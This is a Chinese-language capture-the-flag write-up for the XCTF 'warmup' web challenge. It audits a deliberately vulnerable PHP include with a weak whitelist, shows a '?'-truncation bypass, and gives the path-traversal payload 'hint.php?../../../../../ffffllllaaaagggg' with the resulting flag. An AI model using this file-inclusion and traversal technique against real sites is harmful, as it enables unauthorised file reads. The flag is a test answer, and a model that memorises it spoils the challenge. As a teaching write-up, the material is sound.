XCTF:warmup[WriteUP]

Ctrl+U查看页面源码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title>
</head>
<body><!--source.php--><br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

发现注释处的source.php,复制到地址栏进入

获取新的一堆php代码

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?> 

访问hint.php

只有一串文字,考虑flag很有可能就在这个‘ffffllllaaaagggg’文件中

回到source.php代码中

分析这段有包含命令的代码:include $_REQUEST['file'];

if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} 
  1. !empty($_REQUEST['file']:请求是否非空
  2. is_string($_REQUEST['file']:请求是否为字符串
  3. emmm::checkFile($_REQUEST['file']):能否通过checkFile()函数的判定

当三个条件同时为真时,对文件‘file’执行包含


审计checkFile函数

class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}
  1. !isset($page) || !is_string($page):$page变量不存在或者不是字符串
  2. in_array($page, $whitelist):$page变量存在于$whitelist数组中
  3. $_page = mb_substr:截取出一段字符串并串赋值给$_page
  4. in_array($_page, $whitelist):$_page变量存在于$whitelist数组中
  5. $_page = urldecode($page):对$page进行url解码后赋值给$_page
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));

在上述代码中,新建了一个$_page变量

截取函数:mb_substr选定$page变量为被截取的字符串

从位置下标0开始进行字符串截取,mb_strpos则是字符串查找函数

mb_strpos($page.'?','?'),代表查找$page变量中的‘?’字符并返回‘?’的位置

如果没找到‘?’,则假设‘?’在$page字符最后一位,以此保证该函数有返回值

所以整个mb_substr函数代表者:如果$page中存在‘?’则截取出‘?’之前的字符串

如果‘?’不存在,则$page整体都将被截取出来,则‘?file=******************’

星号中的所有字符串都会被截取出来赋值给$_page


解题思路

构造payload先确定一个固定的头:url/?file=(这段字符串不会赋值到page中)

使$page在$whitelist中,则必须是source.php或者hint.php才判定为真

所以这里需要直接构造为:url/?file=hint.php

接着需要再判定有没有‘?’,所以变成:url/?file=hint.php?

所以当我们构造的url进入checkFile时,$page和$_page的值就会一直等于‘hint.php?’

无论checkFile判定$page或者$_page都一定会存在于$whitelist中

且经过截取后,问号前面的值也一定还会等于‘hint.php?’

最终checkFile的返回值则为真,满足一开始flag触发的三个条件

图穷匕见,在url/?file=hint.php?后面跟上要包含的文件,此题就结束了


在地址栏中构造payload

直接访问:url?file=hint.php?ffffllllaaaagggg出现的是一个空白页

考虑该文件应该不在hint.php的同目录,所以应该是在根目录

这里唯一的方法就是多加几个‘../’,将相对位置调试到根目录

最后:url/?file=hint.php?../../../../../ffffllllaaaagggg

加了5个../后,回退到了根目录,出现flag


flag{25e7bce6005c4e0c983fb97297ac6e5a}